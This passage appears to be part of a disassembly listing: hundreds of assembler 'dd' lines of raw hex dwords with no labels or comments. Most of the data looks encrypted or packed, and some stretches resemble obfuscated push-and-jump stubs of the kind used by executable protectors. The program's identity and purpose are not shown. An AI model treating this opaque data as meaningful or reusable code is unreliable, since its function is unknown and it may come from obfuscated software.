0AB30F826h, 8DE0DBDAh, 5A99CA95h, 95D61145h, 0D2839868h dd 0BE91F990h, 0B7C5F76Bh, 0FE0662Ch, 0C3C21510h, 9F0DD0C8h dd 97DC1A4Eh, 7E08168Ah, 0CF9AB6B5h, 0D0186CA1h, 0F9F14451h dd 6C3AC1CFh, 4DC114E5h, 73E7B83Fh, 186C4AA8h, 251D2AD0h dd 8D5EE503h, 643C698Eh, 4C3225F0h, 1F2CDA1Dh, 0C1554EC8h dd 3B4243D4h, 0A1Ah, 0AB17E069h, 0CA36078Dh, 0E75324ACh dd 0A763FC9h, 2A9667ECh, 0D65B1F6Bh, 0F07B9905h, 119DBB27h dd 37BEDC48h, 49F5FA66h, 1993707Eh, 0DFF200D0h, 8AFECF56h dd 2524F57Ch, 617D322Ah, 450E642Fh, 9D68D611h, 0D6114557h dd 0F1C121Fh, 0B98A1117h, 0E4B23745h, 39388B5Ch, 0E391463Eh dd 0F87F2724h, 6B79BB27h, 0C3941BE1h, 478C7870h, 0CE5C39E3h dd 150h, 0FECF561Dh, 678D588Ah, 0FD61145h, 5D550A02h, 5F9105D6h dd 11455E94h, 110916D6h, 9F79A4EFh, 61F0F92Bh, 0D1CCEE14h dd 4390534Bh, 0F3DC1452h, 939263E9h, 91464598h, 0D0125867h dd 0D86663DCh, 5A3AFA13h, 321Ah, 0FC296900h, 0C2E5B024h dd 9CDC1468h, 664DA36Eh, 1825D012h, 0B74351C5h, 8C41F6EEh dd 0D0126662h, 95615ED7h, 362EFF87h, 3AC0814Ah, 0B18C5Ah dd 56DB0000h, 7FFFECFh, 0BAB2B182h, 47636233h, 45244A15h dd 0BFCCD611h, 6C3AC1C7h, 58C417E0h, 11700A7Dh, 5223AAD6h dd 99629BE6h, 79ED4011h, 16D318AEh, 0D74B58DCh, 727142C9h dd 47557F77h, 0EF05D0C2h, 87D0149Bh, 9DBB277Ah, 6CF04718h dd 75CEBAE9h, 8D46D74h, 26AF0000h, 4DD3F15Dh, 6AF2107Ch dd 850F2D99h, 0AD3250BCh, 65B170DCh, 0DF4B1CA1h, 16D36C1h dd 228E57E3h, 40AC7D04h, 0AEC48F3Bh, 46D01992h, 0D1562538h dd 7B4CD1DFh, 7E74817Ch, 0A1D61145h, 0DDDA81CBh, 2F3C3265h dd 8C8B54DFh, 0BCCA3E91h, 6F6A6932h, 0B0375577h, 569073DFh dd 7FFFECFh, 0ADC38E80h, 0F0D61145h, 341D1916h, 18251BB9h dd 369BD9A4h, 4E5BD611h, 0AE628FFBh, 65000002h, 6C142932h dd 0D43AFD1Bh, 0A47CA9DCh, 0B0866530h, 5360DC14h, 0B6559F54h dd 71EAD012h, 6876A874h, 1A1514DDh, 12B6E70Dh, 32828FD0h dd 0E0DBDAABh, 10F7FCE8h, 4E3E5A3Ah, 8D000002h, 0CB9C2432h dd 45E110D3h, 970ED611h, 0A08C9509h, 496C6F5Bh, 46AC77EBh dd 2ED61144h, 34FF2921h, 0DC1A1348h, 0C2AC3846h, 198BF9F7h dd 196C79D0h, 0F4687521h, 228E5FE6h, 0ADAC7D04h, 861D88h dd 5A68DC2Fh, 80302D3h, 0ABB4E610h, 42E3E0D4h, 0ACDC5FBh dd 0DA1CC019h, 49D5E311h, 837D7380h, 0F0F5DA1Ah, 0D37CF3F7h dd 1265B860h, 0C0F62DBBh, 42494AD4h, 7A2h, 238F58E1h, 42AE7F05h dd 5FCB9C24h, 82EEB741h, 0A20EDF64h, 4ED397E3h, 68F3117Dh dd 8915339Fh, 0AF3654C0h, 0C16D72DEh, 199DF8F6h, 576A78D0h dd 0FFFECF56h, 0B0AF8007h, 9E464302h, 0D6DA4617h, 5C39E31Dh dd 18C18h, 0BD60800h, 0D61149E5h, 0DDDCAD33h, 5AE2ECE2h dd 3C8F8A89h, 0CF567944h, 58AB7C01h, 824BD6E4h, 6287AF37h dd 7C749693h, 7748CFC7h, 0B5FA03h, 377CD062h, 0D2DB1D3Fh dd 76C05A77h, 430C984Dh, 58C5F8F0h, 52814CC0h, 66DC14CFh dd 39370234h, 0B9D012CFh, 0CF519FACh, 1721D012h, 7870C38Ch dd 0BC0BFCCh, 0D012CFE1h, 52E0DD56h, 5A3A6D99h, 3694h dd 0FC29E300h, 0C2E5B024h, 1EDC1468h, 0C2BA8B10h, 0B5860C16h dd 1110D965h, 0A8C4C316h, 0E47AFD9Fh, 675F5FF8h, 12D04AA4h dd 7976EFD0h, 3A76E0EBh, 0B42B5Ah, 567A0000h, 7FFFECFh dd 0BAB2B182h, 6B636233h, 0CCA713E4h, 0D61197CBh, 8152D7E5h dd 898F8782h, 7AC53102h, 0CF017503h, 71713AC1h, 6BFB0070h dd 534E4DA0h, 0B0AF7803h, 0ACFABDB5h, 0A4DC16CBh, 90152397h dd 19FA16C7h, 3386ED87h, 5324A9C7h, 0BAF064FCh, 8D9495CEh dd 656h, 6FDBA42Dh, 8EFACB51h, 0AB17E870h, 0CE3A038Dh dd 0EE5A2BB0h, 9A1FE32Fh, 0B43F5DC9h, 0D5617FEBh, 0FB82A00Ch dd 0DB9BE2Ah, 199C2C42h, 0A3B6C4D0h, 7703D156h, 45ACC28Dh dd 3744D611h, 97EAE5E4h, 0B8860D2Bh, 0A612652Eh, 58293264h dd 208357C4h, 0EE7B7986h, 0EEFBD611h, 0CF562BF6h, 5D435206h dd 0CC977951h, 0D61124A6h, 9BEE414Eh, 4C1DA49Ch, 0A16C9EE0h dd 0D6112453h, 0C42AF523h, 0ACD61124h, 3F544C9Fh, 25h dd 0FECF5642h, 0B28007FFh, 0D0C5F28h, 2DD5D22Dh, 86E1DDA6h dd 1817E06Bh, 8FB3D21Dh, 88B52174h, 25h, 3500328Bh, 0D611453Fh dd 0ACB2AAB7h, 0D7E05425h, 0EC9EF7B3h, 3EF3EB33h, 11FB6E89h dd 3A37FAD6h, 0CE3A0B92h, 6CF56EBh, 9633517Ch, 0D24699AEh dd 1B6B3CC4h, 1BD0C891h, 5D08FF6h, 0D61129EFh, 3B067A87h dd 0D6112935h, 0E95DB0BDh, 1A7E701Eh, 70F600DCh, 0CAD84C9Fh dd 0E8067243h, 6C919061h, 28F36731h, 0DA132B0Bh, 6ADBE4EDh dd 386DF348h, 13879440h, 41AD7E05h, 57CB9C23h, 9D4BE49h dd 0DA035AEBh, 332B7E8Bh, 0B859627Eh, 0D3C597D7h, 6C99CCC4h dd 8A552094h, 0C6D006B2h, 0FFD910BDh, 0E6DE4F3Bh, 34D62D3Ah dd 79DACB0Ch, 4F87178h, 28B0000h, 29AFCD39h, 46CEEC58h dd 61EB0975h, 890E2C98h, 418D4CB8h, 0BB27F87Dh, 0DD49129Dh dd 0FE6A33BFh, 1C8859E0h, 52A06B17h, 22D0199Eh, 0CF560114h dd 0F07C8AFEh, 352D2827h, 9D6EF513h, 561FA69Eh, 0AFC51E4Ah dd 24ED7981h, 877F7ED1h, 38302F00h, 0F8F6C1B3h, 78D6110Ch dd 1019186Bh, 733E0A07h, 0D6110C7Dh, 8F95E8F5h, 0A42BD3D0h dd 2D8051D6h, 5526ABB9h, 0BC373B5Dh, 775C39AAh, 3Dh, 24FC29C6h dd 4F18A2B0h, 91622D57h, 49DC1492h, 2EBAC83Ch, 0D61EF965h dd 44D01208h, 3E80ECBDh, 833410Ch, 0B6C3D012h, 6B2CB8BEh dd 1A7B1BFCh, 996AF0BFh, 0EDF4F346h, 43Ah, 5A2932F0h, 8E3C59D6h dd 0A6CC970Bh, 4ED61101h, 0BC434941h, 6DF4ECEBh, 8F1A289Ch dd 81CCC7C6h, 4A7C5F95h, 274941A5h, 8AE8B3E5h, 6AD61128h dd 0CB32655Dh, 7E87B92Dh, 0F6C1FC25h, 0D611E3F8h, 2206B78h dd 4E1109E2h, 0DC146601h, 0F0A5A4B1h, 0D0127486h, 0DB65733Bh dd 423F1A12h, 3AD63FB4h, 6FF9075Ah, 0FE5122A9h, 635B24AEh dd 2C28h, 8E0F1800h, 0B7D79102h, 2913DED6h, 0CFA027FCh dd 7A3D087Ch, 0F4DC1468h, 3933E8E7h, 7ED01266h, 717A0805h dd 0BC5A3AC0h, 0C5h, 9F24320Bh, 458CE2ADh, 5764D611h, 120A0504h dd 0B5B4850Ch, 686738BDh, 1918E970h, 5DC99A21h, 11496182h dd 47189FD6h, 6536BDDBh, 0B63C4A66h, 41FBF9C4h, 6E7BD611h dd 29211C1Bh, 7DF18FF6h, 1448F1B2h, 55DDEBDCh, 0D3E08C84h dd 17E11C67h, 0F0F8D8A3h, 727CDA15h, 58CC1FE8h, 88F4C54Ah dd 9017E56Ah, 75C5C0BFh, 272221EAh, 0CCD17DD4h, 292AD4BDh dd 32522h, 0CD55E00h, 2BFC82A0h, 4819A1BFh, 6B34BEDCh dd 8B5CE1FFh, 5014601Fh, 708EFACBh, 92B01CE5h, 0B3D13D06h dd 0EAEF5B2Ch, 987D733Eh, 0E7F5D019h, 0D156D4h, 28F97E8Ch dd 828152D8h, 2B6D8F87h, 47C15822h, 514961DEh, 87F3C44Bh dd 24FC29A4h, 0BDB37EB0h, 35D61145h, 0B243AD30h, 8ADD19DAh dd 1A9D6892h, 0D6DC14DCh, 7C743DC8h, 0FC4C3D0h, 0D01292E5h dd 56E4E15Ah, 5A3A349Dh, 0A798h, 0CF56E700h, 55A87901h dd 8EE4AFE1h, 11D61145h, 0DB28FB19h, 0CDDAD098h, 0A32820D5h dd 0A9B7D3D2h, 5C57561Fh, 0B5EA164h, 37BED611h, 55DCFA66h dd 25608584h, 9B1CE75Bh, 0D3DC140Ah, 960F5AC6h, 66CB960Ah dd 10DA15B9h, 0FB818F03h, 44303E09h, 0B3C0DA18h, 303E6860h dd 506EDAABh, 0EDA3FACBh, 5AD4BE0Ah, 23C5259h, 0BE470000h dd 0E56B89F5h, 28AA814h, 1DA7C531h, 45CAE854h, 0FD490874h dd 77E3B439h, 9905CE59h, 0BA26EF7Bh, 0D844159Ch, 165C27D3h dd 0DED01998h, 0D156BDD0h, 0EF769400h, 0C9C89921h, 2C0F7BCEh dd 8AFECF56h, 2C2B6581h, 827A6975h, 1CA3B1CDh, 0F9F8C94Eh dd 90ACABFEh, 1131AFC5h, 0E73A47D6h, 9162E9EFh, 0E6B1E325h dd 0D6113188h, 5D635B68h, 0EA0605D6h, 8C8455DCh, 0E0542C59h dd 14064A15h, 0F8F704DCh, 32FEFBDAh, 0E73F3500h, 0AAB7D012h dd 5C25ACB2h, 9520CB36h, 87D2CDCCh, 69342D52h, 0D012E50Bh dd 388BDEEBh, 7C0481CCh, 0F8923D08h, 959EDA17h, 0C7D48CC5h dd 0F9CA4FDAh, 0B4ACFFFAh, 5587FB08h, 1766648Ah, 0B4FF0CDAh dd 0B8504E43h, 0D2877F17h, 0BBB984B6h, 3BDA17F1h, 0A930362Eh dd 9EF9D9D8h, 0C751CCA1h, 18562153h, 7EDA17F1h, 233026F7h dd 0F18EE4AFh, 5966DA17h, 0A36C3761h, 4BD012ECh, 5E90D23Eh dd 18825D93h, 6730BBC4h, 6A776D68h, 14E56C72h, 65EBF915h dd 0A969C94h, 45244241h, 0EC737C48h, 7E257B09h, 0DB1B4CF4h dd 85D8FB71h, 2F00878Dh, 730D78C3h, 17AB34FFh, 1623CE1Dh dd 86770A2h, 732207F7h, 789AD8E5h, 4D5ACE1Dh, 0B0A871FDh dd 0AE7C03FBh, 615C5B24h, 9D689A0Eh, 0CE1D7857h, 651A121Fh dd 966B6847h, 0EB1D916Fh, 878657DDh, 36D1948Ch, 0C0C4184Fh dd 81FC47B3h, 0A5F7FAFFh, 0ACFF3118h, 353B0638h, 0BDC81EFEh dd 0C38EB8B0h, 0C215A935h, 0CC95212Fh, 961E28D4h, 577372C5h dd 99BB964Eh, 0A79F15A8h, 0DD491AA1h, 0E06A38BFh, 0C5C4951Ah dd 252477CAh, 7DB3DC70h, 7AAC5665h, 7D3341AFh, 844DD759h dd 0AE89818Eh, 0B18209B1h, 6D10345h, 597D33E8h, 0A32B7B88h dd 4DD4DAD2h, 0FB857D7Ch, 0B53B3332h, 62EDE5E4h, 2DEC9A99h dd 300F8530h, 36048B33h, 0E3DEDDAEh, 7F062490h, 0A5E56AB6h dd 3184129Dh, 67CB4BDh, 80FF898Bh, 1333410Ch, 0B6C3597Dh dd 0DFED09BEh, 66109253h, 6143661Fh, 0A1CF9A0Eh, 51597D4Dh dd 3374C44h, 3A000000h, 0CD563D54h, 860D0504h, 32BEB6B5h dd 0E7726A69h, 0A2271F1Eh, 55DAD2D1h, 38D8584h, 0BB433B3Ah dd 6DF3EBEAh, 556F9D9Ch dd 0C5815D54h, 4, 8704ED83h, 685C242Ch, 33ECh, 57243C89h dd 0C781E789h, 4, 8704EF83h, 895C243Ch, 0B68240Ch, 8B0608CEh dd 0C481243Ch, 4, 240C8B54h, 5304C483h, 8BBh, 69EB8100h dd 148E51Eh, 69C381CBh, 8948E51Eh, 0C8B5B3Bh, 0E3895324h dd 4C381h, 0C3810000h, 4, 5C241C87h, 57243C8Bh, 0C781E789h dd 4, 4C781h, 3C870000h, 46E95C24h, 5FFFFA9Dh, 0B7BE9E5Bh dd 0D7B5193Ah, 0B8A4822Ch, 608E052h, 0E0FFC503h, 479DE355h dd 36110018h, 412A8908h, 2D639ECFh, 4B03ACEAh, 48175AEDh dd 7F0A8F6Fh, 77A37A5Ch, 12A88944h, 7F97FD78h, 29D1C564h dd 259BFD18h, 6B0060E1h, 0DB03509h, 494370C4h, 5D088481h dd 4F70BCA0h, 15D1E2FBh, 2C75713Bh, 88CF4FEh, 3B9C5221h dd 150000FCh, 5E3559F4h, 36C251C4h, 6A1808EBh, 65AFh, 0FBE9023Bh dd 6800000Bh, 608E313h, 0FB65DAE9h, 0E42368FFh, 0D0E90608h dd 68FFFB65h, 608E59Bh, 0FB65C6E9h, 0E65C68FFh, 0BCE90608h dd 68FFFB65h, 608E70Fh, 0FB65B2E9h, 0E8B968FFh, 0A8E90608h dd 68FFFB65h, 608E969h, 0FB659EE9h, 0EACB68FFh, 94E90608h dd 68FFFB65h, 608EBAEh, 0FB658AE9h, 801A0FFFh, 0C4CA5996h dd 4929DDAh, 4551DD1Ah, 8A121E5Bh, 0BCE0B9A0h, 13E286Ch dd 44816B33h, 83C0AAEAh, 8506F0AAh, 5755596h, 4E65A18Ch dd 27A3E41Bh, 0B3A18C06h, 0F5848378h, 3C56455Bh, 0D6573485h dd 63B0C7C4h, 0D68D5F1Dh, 2670BD52h, 0A9B7BD3Ch, 0EC406BACh dd 0AA5CAD97h, 0E2992DECh, 32AA191h, 0FA46DB99h, 0E33C8ECFh dd 0EC9EA191h, 0E5C514D2h, 37744F9h, 171CEE17h, 36510A14h dd 2C000000h, 74B91A15h, 784A0822h, 4F068C9Bh, 1CF15FEh dd 0A3CC304h, 5608AD98h, 0C3EDD998h, 4FE6A191h, 0F7428572h dd 5A11A416h, 0D3A5CEBAh, 80A14CEh, 0DDh, 13203755h, 236EB104h dd 0BFD9BBDEh, 0D5782F01h, 0EB803E58h, 0FA9A945Fh, 92506A3Ch dd 428330FDh, 0A7941688h, 4D32DB7Dh, 0C391F896h, 0A439F711h dd 0DFEB2C89h, 0FBA794D9h, 0DE452F49h, 0A794DEB5h, 291385A8h dd 2066B5CCh, 6F22FD7Dh, 8F463D4Bh, 995741ECh, 0B1AEBCC2h dd 9491397Ah, 9749A794h, 87DC1DE0h, 56AD97AFh, 94F9779h dd 540BD410h, 34110EC0h, 5697E625h, 0EA9A5104h, 5A57656Bh dd 97836C19h, 99D8B5A7h, 3540B71h, 5204984Fh, 0AAF23E55h dd 0EFB783C0h, 2AC1516Ah, 14AF23E5h, 980h, 0EBD5C76Ah dd 311B61AEh, 735D3BF4h, 0BCA6F636h, 1EBB37Fh, 0D1D7F1Ah dd 0D4629F89h, 87A9E6D0h, 3DF02D17h, 1F0715Bh, 8C040AC0h dd 0F8B9D0A1h, 0D9C3CB57h, 1D07919Ch, 1CF1532h, 0A3CC304h dd 7308AD98h, 91C39832h, 769042A1h, 5EEC03B8h, 0E4FE8493h dd 0D09D5426h, 0A191C3F6h, 763462CDh, 93514DE1h, 0F0A59117h dd 9AC3AF23h, 0A1439C8h, 0EDFDh, 0D6574A00h, 62B0C7C4h dd 2ADF631Ah, 6DBB0413h, 9C510F29h, 94E76F5Bh, 9FB96BA7h dd 0EEF545E8h, 82405A22h, 94EBD0C3h, 0F6A08DA7h, 9698AF0Ch dd 2C80906h, 0D8A794E2h, 61CC6F26h, 0E7C47937h, 0D1A85E2h dd 0FA13E487h, 6C72570Eh, 132A615Eh, 0F9C67D19h, 0AD97F36Ah dd 93032DA2h, 0CA657C79h, 568EE443h, 4963BA68h, 1D63E292h dd 3E1B524Fh, 2B6BDEF9h, 0A26F2683h, 0A79701D2h, 96ADAA5Ch dd 0BB18028Ah, 9C874384h, 0A1539B8Bh, 0B3FB47EAh, 2B939F2Eh dd 0CE69DDE5h, 870h, 0FBE5B77Ah, 412B71BEh, 836D2B04h dd 0CCB6E646h, 11FB838Fh, 1D2D6F2Ah, 0A472AF99h, 77B9F6E0h dd 2D003D27h, 1100816Bh, 8C02FAD0h, 8C9E0A1h, 910F2037h dd 0A74A01D3h, 0EC29139Bh, 235A5741h, 0E71FABECh, 9BBA794h dd 94E6C802h, 0A96012A7h, 0D6570EF9h, 7FB0C7C4h, 0DA916321h dd 0A38AA156h, 8E9F42F9h, 5DA3220Ch, 1D3761CCh, 524DF20h dd 7628AD98h, 900A23B8h, 0D11249A6h, 0A191C8F9h, 968C2FE1h dd 0AECE0810h, 0BE6F12C9h, 885F1EDCh, 7D28D747h, 952AE8AEh dd 6D3FFD99h, 3EFC8090h, 824889h, 0A6581A4Bh, 0F8705CE2h dd 864A6428h, 919C1400h, 0A9C01D07h, 8355139Bh, 54129AA6h dd 528CB82h, 0B116D593h, 271A4B00h, 0E449C1ADh, 13C8ECFh dd 0EC9E1A4Bh, 82ABE8D2h, 289B5A18h, 521A4B01h, 0D209884h dd 0C964A18Bh, 343A11CFh, 0DBF22926h, 0CA11BE4Fh, 0F33FF883h dd 25661BD9h, 1A4B92A5h, 0B2698335h, 4E9C2AE5h, 75C53A20h dd 87A17331h, 0DFA7738Ah, 0EBF97828h, 77910B22h, 0A716397Ah dd 1CCE1A4Bh, 6C289F5Eh, 39AD0E45h, 8E52244Dh, 3B879D60h dd 0D4000004h, 94E69D2Dh, 0F6C204A7h, 0D7D7A794h, 92A794DAh dd 0A794D334h, 3C39074Dh, 0D306C405h, 99D4A794h, 57EEE87Ch dd 8138527Ah, 7C027DBEh, 9042AD97h, 216B940Bh, 0A13CB0EFh dd 6F8h, 735D3FF2h, 0B9A3E936h, 0FBE5B37Ch, 442E6EBEh dd 89733B07h, 95A5F7A2h, 5CEA2711h, 0FF316E58h, 0B578B59Fh dd 8978F9E3h, 8C018248h, 804158A1h, 78395A37h, 0B0993EABh dd 7D20E125h, 0B9FA0BE2h, 0A794C711h, 46FD17C9h, 52108AA3h dd 6A67757Bh, 9DA7F229h, 0EA445BADh, 631AECAAh, 10331DCFh dd 7D439106h, 283F80h, 3AECA78Fh, 4FF0A2Fh, 0FA084AEAh dd 0BDB6F7F4h, 6FF22AACh, 6D3199DAh, 0F7A9E624h, 536A1FDDh dd 2207BEC4h, 0B2E04BDCh, 2D649B98h, 246CDEECh, 934AFCE6h dd 27A5E0C6h, 300B2ECh, 1D79B5CCh, 33D68D5Fh, 4452DDFAh dd 2A03402Ah, 6AB6EB70h, 12862E51h, 63777h, 1C7EB300h dd 6026F532h, 0A8F63976h, 0F1AD81BEh, 367ECA07h, 68B4654Ch dd 0ADEAD4D8h, 0F02D179Fh, 37745E3Eh, 39BAA4F6h, 0C1094Ah dd 219A18Ch, 1CF1541h, 540C304h, 5A0CAD98h, 7426079Ch dd 8A0C21B6h, 0A4F637CCh, 0CBB797E6h, 0E0CC5216h, 1512D826h dd 94E72FD4h, 816B1DA7h, 8EAAAC1Ah, 561AF79Bh, 0FB818E21h dd 0E6C86B3Dh, 3A4B5869h, 0D1C2D6BDh, 973300B7h, 0F29B8E0Fh dd 0CAE1DEECh, 0C57A387Ch, 8E104684h, 0C8E2949Bh, 0E0D4E11h dd 6EA196F1h, 8E3FFEBCh, 2395852Dh, 0BF763E0Ch, 852DD3F2h dd 5D3FEE95h, 2D635FD8h, 5AF569FBh, 584h, 0EFD9C366h, 351F65B2h dd 7F6937F8h, 0C0AAEA42h, 5EFB783h, 11217B1Eh, 0D866A38Dh dd 83ADEAD4h, 41EC2913h, 0FDEC6D57h, 8C000EBCh, 0F4B5CCA1h dd 401CF15h, 9DC858C3h, 0B47224ADh, 0A28C0E1Fh, 1310DA23h dd 8BA52CFCh, 617B4D0Bh, 3AF1B784h, 8A0C21B6h, 0DCA63A0h dd 1F7FB122h, 0B7758F61h, 97CECBE5h, 5AB1F60h, 7D2FA18Ch dd 8C065476h, 1DD486A1h, 0AC290499h, 895B199Fh, 0B52FB16Fh dd 0BADC51C9h, 0BF6F86BDh, 484F21DFh, 0A18C0582h, 75441D58h dd 0F2B3F7B6h, 837121D8h, 0A19DEB1h, 16DE6h, 5A373300h dd 55901D1Eh, 0B49950A5h, 62A3A0AEh, 0AD9736ADh, 884705B7h dd 0A1912440h, 9C34209Ah, 23A62465h, 8234A191h, 0D298E6CBh dd 2D7B94D5h, 0DDBAA794h, 31554AE3h, 0E1752C52h, 2508452Fh dd 0D20B573h, 0DC22A18Bh, 0DBD0110Eh, 0C1A19184h, 3492510Fh dd 9F958B7Bh, 44163F2Bh, 2161A7Fh, 955343EBh, 37C00CC3h dd 0D000000h, 8C102037h, 0C1FFCCEh, 0ECF2D78Eh, 5FA0E1DEh dd 0E5AD980Ah, 10B67533h, 0C3A191C4h, 94CB634Fh, 91C37753h dd 3CEE63A1h, 3B8F4660h, 0A143A69h, 0B29Eh dd 0D657EB00h, 3A5106C4h, 4585C6F3h, 95A794E7h, 390BC9E3h dd 4B53DF82h, 0F4D6174Eh, 0E6A794E6h, 64F97D34h, 7C11CFC9h dd 96FDE7B1h, 0A794EBFDh, 2508CD60h, 0F06F5973h, 2DFDCE2h dd 0B96EACFCh, 3AFDB4CDh, 99B7F9F9h, 827F31ADh, 0EDD7DF6Bh dd 0FF9360B0h, 0D38F714Dh, 9AEB708Ah, 72EF2432h, 3DA63FEh dd 19100000h, 0CB58957Fh, 8D9EDBC5h, 44E8250Fh, 0E1316E58h dd 0CDCCB39Dh, 513B43CFh, 947E0614h, 0DFC9D557h, 27118BA2h dd 5476B7A6h, 86A18BFFh, 0CB57AE6Fh, 919CD9C3h, 662D0A07h dd 0A929E51h, 20502567h, 81E8E223h, 40F2A794h, 37EED989h dd 0E70BBF00h, 5ACFA794h, 0D1AEC8CCh, 0AB7D3B43h, 0BADC51F4h dd 0D4C667FCh, 992DFFEAh, 0A79566h, 0A79466C6h, 49E4B5BBh dd 0A5BF914Fh, 48B467A8h, 16C8AD9Dh, 556CA358h, 2CFEBCDAh dd 8B85A525h, 0E08335A1h, 2D743002h, 8C71289Dh, 3A7B7846h dd 0A78E58A1h, 0E724A95Bh, 0A1E52E0Ch, 32A922Dh, 69C00000h dd 3B08452Fh, 0DD4E8B75h, 9498D5BFh, 51E11E08h, 9D7C634Dh dd 1EBB37Fh, 442E76C4h, 8F792507h, 0D7C1DB52h, 0A4266756h dd 36A18BFDh, 0D6575E1Fh, 0E72AA0E1h, 0FEB0A794h, 5B0AE7E4h dd 64A1CD86h, 0ACB6B113h, 0EABBEF09h, 131AAF33h, 0D2209F89h dd 0C1D80F0Ch, 0AD7A316Dh, 0AD971BFEh, 6F2EEC9Eh, 0A1911257h dd 0F31C087Ch, 0A14E821h, 3D56h, 0F1543100h, 0F1C563DEh dd 15B809C0h, 0C30401CFh, 0AD980A3Ch, 2C68C2D9h, 4BBC34Fh dd 4100BE70h, 0A191C385h, 0F0AEEE3Eh, 7C5D15Bh, 0C075612Fh dd 6A937FF3h, 0A143998h, 0ECCDh, 0D6571A00h, 0A17106C4h dd 0A38A1FDDh, 1B1FFCF9h, 6CFD8D7Ah, 10BAFBF8h, 0CAA79466h dd 48DD6118h, 7FB6B3E5h, 94658C3Eh, 0E59C4EA7h, 8AA1D835h dd 0DFEBF2A2h, 0ECA79465h, 0D4865440h, 6A43501Dh, 0E3FAA794h dd 0A4745155h, 0A78629E0h, 80C1F8F5h, 0A794614Ah, 7727DE90h dd 0EBA9F33Ah, 300CE14h, 97683DC2h, 6B5507ADh, 1B15E6ECh dd 2D64617Bh, 0CF861616h, 970FEA02h, 8DCE05A7h, 9B8BA43Dh dd 0A034EB9Dh, 4C90DA65h, 21C486C9h, 0A5308E1h, 0EEEB0573h dd 1F604BD7h, 9B8B5FABh, 79637D2Fh, 7135051Ch, 830B17BAh dd 2B5DA3FEh, 62FD71E5h, 1C8h, 0A38D0F22h, 0E9D3D966h dd 2B1583ACh, 745E3EEEh, 0B9A3EB37h, 45D5C7D2h, 0C1A5741h dd 0CF619E88h, 85A8E5CFh, 0B9A82913h, 8BFD5278h, 0B07188A1h dd 0D9C3CB57h, 1D07919Ch, 1CF1532h, 0A3CC304h, 0C2D9AD98h dd 0D6C4676Ah, 0C669FEBCh, 2E481AD8h, 7331E377h, 91C412B4h dd 614DC1A1h, 143A6638h, 0B99B0Ah, 57E80000h, 7106C4D6h dd 601FDDA1h, 0A794EC33h, 5B3BF30Ah, 6A2C01A4h, 0ABEC2380h dd 0A794E31Fh, 0AF5209BBh, 4163937Eh, 4B098D9Bh, 8462D679h dd 4A088C9Ah, 86445E78h, 9E9BA1AFh, 9755A25Dh, 6F0A2ADh dd 3D14CCA9h, 0F9B7E14Ch, 36258427h, 7E846920h, 5B327370h dd 5A7974Eh, 0F17C7FCAh, 771AB91Fh, 0A57EA00Ch, 8986A085h dd 0F4DEA672h, 9E236BB7h, 0E52A404Dh, 0E5F89307h, 5000000h dd 43806A2Ch, 87C4AEF4h, 0CF0CF6A4h, 18553F5Fh, 0B39A8408h dd 226AB6E6h, 692DFB38h, 0ACE8427Fh, 0EEA885C2h, 53948304h dd 0A18BFB77h, 578B4C63h, 9CD9C3CBh, 0ACE84491h, 57BDA892h dd 6B3301D6h, 3C1DBADh, 0F3DDBF6Eh, 63606E74h, 9DC7F522h dd 0FCD7FADh, 0ECE9B37Ah, 824046D5h, 0C49F9B0h, 437A7721h dd 8C04C802h, 28A2E3A1h, 0B2A18C05h, 0C9803200h, 8CC28645h dd 37050533h, 0E556B16Fh, 4A457A0h, 2A6AC29Fh, 7E6AF06Ch dd 937F05C9h, 4783C4FBh, 933DE4CEh, 0A6872AE1h, 60CD0AF4h dd 4BE37836h, 35F88D4Bh, 10A563h, 0BC42BE7Ch, 0C3D558D0h dd 0F80F12A9h, 0BAB622Ah, 1486A71Fh, 9340ED2Ah, 8C41FF87h dd 0E4CD7F4Bh, 8FA95B3Dh, 0D1CB775h, 23000000h, 81ABC275h dd 69C25715h, 95A112Bh, 0AC8D257h, 20DEB875h, 37F5A18Bh dd 521094A2h, 6B296DBDh, 84424AD6h, 0A15F3FEFh, 0B775230Ch dd 0D18F1522h, 4EC834Dh, 89243489h, 4C681E6h, 83000000h dd 348704EEh, 0EA685C24h, 89000017h, 8952243Ch, 4C281E2h dd 81000000h, 4EAh, 24148700h, 2434895Ch, 38BB53h, 0C14B135Eh dd 814303EBh, 8515EDE3h, 0F1EB814Ah, 0F7FFE5DDh, 0EB814BDBh dd 34492CC5h, 494ACB81h, 0F381466Fh, 0C9F718D6h, 545BDF89h dd 8324348Bh, 0B85004C4h, 8, 3889F001h, 8124048Bh, 4C4h dd 24348B00h, 81E78957h, 4C7h, 4C78300h, 5C243C87h, 5F2434FFh dd 4C481h, 0ECE90000h, 0C7FFFB59h, 0B8B804ECh, 30608ECh dd 0FAE0FFC5h, 0E1741BAEh, 5B256106h, 8877A467h, 0EB6773E2h dd 890E063Ah, 0C80F1E93h, 700EBCFCh, 0F712CAE1h, 3561C57Eh dd 9366198Bh, 0C664492Bh, 71A44D4h, 0D67896CCh, 0EB28E538h dd 9E7D0079h, 0E2218CEFh, 0ABAFD60Fh, 4DB2979Fh, 95B7E37Ch dd 0A9E57200h, 0B69CB5E9h, 0F377609Bh, 0B794A9B6h, 60D7609Eh dd 0A9BD897Dh, 9EBD8C9Eh, 95ACE372h, 0B98B204Ah, 89937E9Bh dd 0F496B99Dh, 0A19E96AFh, 0A7D6B594h, 0D100FD91h, 594ACC48h dd 713C33h, 57DB4D52h, 0B7D65EF3h, 0F600B79Bh, 8995ABAFh dd 56F0009Fh, 0B3D7C771h, 711800BEh, 0ADC4D756h, 0A38D73E2h dd 0D5E97572h, 6800000Eh, 608EFD8h, 0FA8FFCE9h, 0F0B868FFh dd 0F2E90608h, 68FFFA8Fh, 608F18Dh, 0FA8FE8E9h, 0F2C068FFh dd 0DEE90608h, 68FFFA8Fh, 608F34Fh, 0FA8FD4E9h, 0F3EE68FFh dd 0CAE90608h, 68FFFA8Fh, 608F4A0h, 0FA8FC0E9h, 0F54468FFh dd 0B6E90608h, 68FFFA8Fh, 608F63Ch, 0FA8FACE9h, 0F6E368FFh dd 0A2E90608h, 68FFFA8Fh, 608F7EEh, 0FA8F98E9h, 0FA4868FFh dd 8EE90608h, 68FFFA8Fh, 608FB63h, 0FA8F84E9h, 0A069F2FFh dd 0BF901634h, 0DCAD3553h, 0FFC85270h, 1FF07593h, 0E4A8F4B3h dd 4228E5Fh, 2644B079h, 4765D19Ah, 7E83EFC0h, 0ABE907D2h dd 7B89D019h, 0FECF5668h, 0AF8007FFh, 0D8A12D3Bh, 372F0088h dd 0C553CA15h, 4A498651h, 0BBE9DC14h, 495627ADh, 0D012402Bh dd 6C6BBECBh, 1240BDB7h, 8556DBD0h, 3A038E86h, 0D1CE8D3Bh 